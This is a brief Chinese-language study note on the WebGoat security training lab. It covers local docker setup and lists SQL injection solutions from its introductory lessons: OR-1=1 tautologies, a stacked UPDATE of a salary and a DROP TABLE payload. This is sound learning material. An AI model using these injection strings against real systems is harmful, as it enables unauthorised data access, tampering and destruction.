說明
WebGoat 是初階的資安學習工具,無法學習到進階的資安攻防技術,但卻可以在主題式簡單的練習中讓開發人員有基本的資安認知與實作,從簡單的攻擊的角度反思程式設計之道,其簡單的題型設計也是理想的示範資安攻擊的概念說明工具。
環境設定
docker run -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Asia/Taipei webgoat/webgoat
Docker 啟用後,WebGoat 的路徑會在:http://127.0.0.1:8080/WebGoat
負責 Proxy 攻擊行為的 WbbWolf 路徑則是:http://127.0.0.1:9090/
WebGoat 學到的事
SQL Injection 101
SELECT * FROM users WHERE name = 'Smith' OR TRUE;--'
-- "SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";
SELECT * FROM user_data WHERE first_name = 'John' and last_name = 'Smith' or '1' = '1'
-- "SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;
SELECT * From user_data WHERE Login_Count = 0 and userid= 1 OR 1 = 1
-- "SELECT * FROM employees WHERE last_name = '" + name + "' AND auth_tan = '" + auth_tan + "'";
SELECT * FROM employees WHERE last_name = 'A' AND auth_tan = '' OR '1' = '1'
'; UPDATE employees SET salary=99999 WHERE first_name='John
%'; DROP TABLE access_log;--
Dictionary
- XOR encoding
- IBM WebSphere Application Server 預設的加密法
- XOR Cipher
- 藉由 XOR 運算達到的簡易式對稱式加密法
參考資料
WebGoat.Net Framework (WebForms)
Information Security, Fall 2016 - Yih-Kuen Tsay’s Wiki @ IM.NTU